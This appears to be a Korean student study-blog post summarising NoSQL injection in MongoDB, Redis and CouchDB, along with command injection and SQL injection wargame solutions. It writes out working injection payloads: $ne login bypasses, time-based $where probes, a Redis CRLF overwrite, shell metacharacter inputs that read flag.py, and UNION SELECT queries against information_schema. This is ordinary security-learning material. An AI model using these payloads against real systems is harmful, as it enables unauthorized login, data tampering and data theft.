본문 바로가기

1. Web hacking (웹 해킹)/2) 개념 정리

[25.04.11]웹 떠봐요 3주차 활동

1.  NOSQL injection

 nosql: sql을 사용하지않고 복잡하지 않은 데이터를 저장해, 단순 검색 및 추가 검색 작업을 위해 

            매우 최적화된 공간

 


Non-Relational DBMS) 

 -MongoDB 

  : json 형태인 도큐먼트를 저장/ sql 처럼 쿼리문이 아닌, 객체 기반의 쿼리를 사용 

 -MongoDB 연산자

comparison $eq 지정된 값과 같은 값을 찾음
  $in 배열 안의 값들과 일치하는 값을 찾음
  $ne (not equal) 지정된 값과 같지 않은 값을 찾음
  $nin (not in) 배열 안의 값들과 일치하지않는 값을 찾음
Logical $and 논리적 and, 각각의 쿼리를 모두 만족하는 문서 반환
  $nor 논리적 nor, 각각의 쿼리를 모두 만족하지않는 문서가 반환
  $or 논리적 or, 각각의 쿼리 중 하나 이상 만족하는 문서 반환
  $not 쿼리 식의 효과를 반전시킴
element $exists 지정된 필드가 있는 문서를 찾음 
  $type 지정된 필드가 지정된 유형인 문서를 선택 
Evaluation $expr 쿼리 언어 내에서 집계 식을 사용o
  $regex 지정된 정규식과 일치하는 문서를 선택
  $text 지정된 텍스트를 검색 

 

-Mongo의 기본 문법 (취약점을 읽어내기 위한 기본 지식 획득!) <- nosql injection 발생 가능성 존재

#문서 조회
db.account.find()

db.account.find(
  { user_id: "admin" }
)

db.account.find(
  { user_id: "admin" },
  { user_idx:1, _id:0 }
)

#insert
db.account.insertOne(
  { user_id: "guest",user_pw: "guest" }
)

#delete
db.account.remove()

db.account.remove(
  {user_id: "guest"}
)

#update
db.account.updateOne(
  { user_idx: 2 },
  { $set: { user_id: "guest2" } }
)

 

-MongoDB의 nosql injection은 어떻게 발생할까?

ex.

# 사용자 로그인 로직 
db.users.findOne({ username: req.body.username, password: req.body.password });

1. 사용자의 입력을 그대로 쿼리에 사용하는 경우, 

{
  "username": { "$ne": null }, #$ne: 지정된 값이 아닌 값을 찾음
  "password": { "$ne": null }
}

2. 공격자는 위와 같이 입력이 가능.

db.users.findOne({ username: { $ne: null }, password: { $ne: null } });

3. 그 경우, 사용자 이름과 비밀번호가 null이 아닌 모든 사용자 중 하나를 반환하게 됨 

 

-대응 방안: 사용자의 입력값을 검증

 

ex2.

blind nosql injection을 이용해 공격도 가능!

$expr 쿼리 언어 내에서 집계 식 사용 가능
$regex 지정된 정규식과 일치하는 문서를 선택
$text 지정된 텍스트를 검색
$where javascript 표현식을 만족하는 문서와 일치 

 

#이런 코드를 이용해서 upw의 첫 글자를 한글자씩 비교해, 알아낼 수 있음
db.user.find({$where: "this.upw.substring(0,1)=='a'"})
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

이런식으로, 시간 지연을 통해서 참, 거짓 결과를 확인할 수 있다. 

-> 참을 반환할 때 sleep 함수를 실행 


Non-Relational DBMS) 

-Redis

: 키-값의 쌍을 가진 데이터를 저장

  다른 DB와는 다르게, 메모리 기반의 DBMS-> 다른 DBMS보다 훨씬 빠르게 수행

  임시 데이터를 캐싱하는 용도

 (캐싱: 파일 복사본을 캐시 또는 임시 저장 위치에 저장하여 보다 빠르게 액세스할 수 있도록 함) 

 

-데이터 조회 및 조작 명령어

GET GET key 데이터 조회
SET SET key value 새로운 데이터 추가 

 

-관리 명령어

명령어 구조 설명
INFO INFO[section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정을 입력

parameter: 매개변수 

 

-Redis <- command injection 발생 가능성 존재!

 그렇다면 어떤식으로 발생할 수 있는걸까?

 (command injection: 운영체제에 명령어를 주입시켜, 공격자 마음대로 공격실행)

ex.

username = request.GET['username']
user_data = redis.get("user:" + username)

1. 로그인 시 사용자 이름을 받아서 Redis에서 정보를 조회하는 코드가 있음

username=admin\r\nSET user:admin hacked
#\r\n: 다른 명령어로 이어지게 하는 줄바꿈 문자
#SET: 새로운 데이터를 추가하는 명령어

2. 공격자가 악의적인 의도로 위와 같은 코드를 작성할 시, 

GET user:admin
SET user:admin hacked

3. 컴퓨터는 이렇게 인식하게 되고, admin 계정을 hacked로 덮어쓸 수 있게 된다. 

 


Non-Relational DBMS) 

-CouchDB

 : MongoDB와 같이 JSON 형태인 도큐먼트를 저장. 

   웹 기반의 DBMS 

   REST API 형식으로 요청처리 

 

-특수 구성 요소

Server

/ 인스턴스에 대한 메타 정보 반환
/_all_dbs 인스턴스의 데이터베이스 목록을 반환
/_utils 관리자 페이지로 이동

 

Database

/db 지정된 데이터베이스에 대한 정보를 반환
/{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트 반환
/{db}/_find 지정된 데이터베이스에서 JSON쿼리에 해당하는 모든 도큐먼트 반환 

 

-> couchDB와 MangoDB는 비슷하게 injection방식이 발생할 수 있음 


2. command injection

운영체제에 명령어를 주입시키는 방식

-이용자의 입력을 시스템 명령어로 실행하게 하는 취약점                                                                 

-명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생

ex. 특수 환경인 특정 관리 콘솔에 시스템 명령어 실행을 할 수 있는 경우에 존재

 

command injection sql injection
사용자 입력값을 통해서 시스템 명령어 실행하는 기능하는 경우 command injection의 잠재성이 존재 application과 데이터베이스와 연결되어 값을 반환할 때 공격자가 sql 구문 삽입을 통해 공격 당할 잠재성이 존재

 

 

-어떤 식으로 발생하는가?

(사용자 입력 값+미완성된 시스템 명령어 구문)의 형태에서

공격자가 CMD로 입력 값을 주입하고, 완성된 시스템의 명령어 구문을 만들어 공격

 

 

ex.

정상적인 입력값: nslookup www.test.co.kr

비정상적인 입력값: nslookup www.test.co.kr&ifconfig

#명령어 후 공격자가 원하는 명령어인 ifconfig(반환값을 알려줌)을 실행

 

 

*웹쉘과 비슷한 역할을 한다고 볼 수 있다. 

+웹쉘이란?

1. 공격 대상의 컴퓨터에 악성파일을 설치

2. 공격자가 특정 웹사이트에 접속해 명령어를 입력하면, 공격 대상에 대한 정보를 빼낼 수 있음

-> 이러한 과정을 거친 공격방식을 웹쉘이라 함 

 

 

-command injection에 사용되는 메타 문자들 

" " 안에 들어있는 명령어를 실행한 결과로 치환
$()  명령어 치환. $() 안에 들어있는 명령어를 실행한 결과로 치환
&& 명령어 연속 실행. AND
|| 명령어 연속 실행. OR 
; 한줄에 여러 명령어를 사용하고 싶을 때 단순히 명령어를 구분짓고, 앞 명령어의 에러 유무와 관계없이 뒷 명령어를 실행
파이프. 앞 명령어의 결과가 뒷 명령어의 입력으로 들어감 

 

 

-command injection의 대응방안

:사용자의 입력값을 검사하는 방향으로 가야함

 


 

3. 워게임 풀이 

 

#1 command injection -1

step1 코드분석-> host의 답을 받아 별도의 검사없이 넣음
step2 취약점 분석-> 즉, command injection 이 가능하다
공격 코드 생각-> flag는 flag.py 파일에 존재, 읽어들여야함
step3 코드 입력<- 특수 문자를 넣을 시 로그인이 안되는 옵션이 있었음 
따라서, 개발자 툴을 이용해서 특수 문자를 넣을 수 있도록 조취함 

 

생각해낸 코드 (로그인을 구성하는 파이썬 코드의 경우 cmd = f'ping -c 3 "{host}"'

“; cat flag.py”      O  세미콜론 개수 맞춤 , ;가 존재, 명령어 실행
;”cat flag.py”      X  " 안에 ;가 존재 X, 단순히 문자열로 인식
127.0.0.1 "|| cat flag.py"      O  "; 의 이유가 마찬가지
127.0.0.1 ; cat flag.py       X  코드의 " 처리가 되지않음
127.0.0.1" && cat flag.py"      O  가능 

 

결론: 세미콜론의 개수를 맞추고, 제대로 된 메타문자를 작성할 시 문제는 쉽게 풀린다. 

 

 

#2 simple_sqli_chatgpt

 

step1 코드에서 취약점 확인
->Sql injection 취약 코드 확인 가능
Sql injection이 일어나는 코드
res = query_db(f"select * from users where userlevel='{userlevel}'")

유의사항: flag를 얻을 수 있는 아이디가 데이터 베이스의 첫번째 인덱스가 아니기 때문에
admin을 지정해야함
step2 코드 생성 (level =0 이어야하고, 닉네임이 admin이어야함)

 

 

+문제를 풀며 추가적으로 안 부분

 get 방식과 post 방식의 차이

   get: 데이터 조회, 정보요청

   post: 데이터 전송 

 

 

#3 baby-union

step1 원인파악: 로그인 시도
                 테이블로 어떻게 flag를 얻을 것인가
-> 코드를 다운받아보니, 테이블을 조회하는 등의 작업을 하면 flag를 얻을 수 있는 키가 있는 듯 함 
step2  테이블 목록화
‘union select table_name, null, null, null from information_schema.tables#

step3 칼럼 목록화 
' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
step4 데이터 목록화 
' union select svalue, sflag, null, sclose from onlyflag #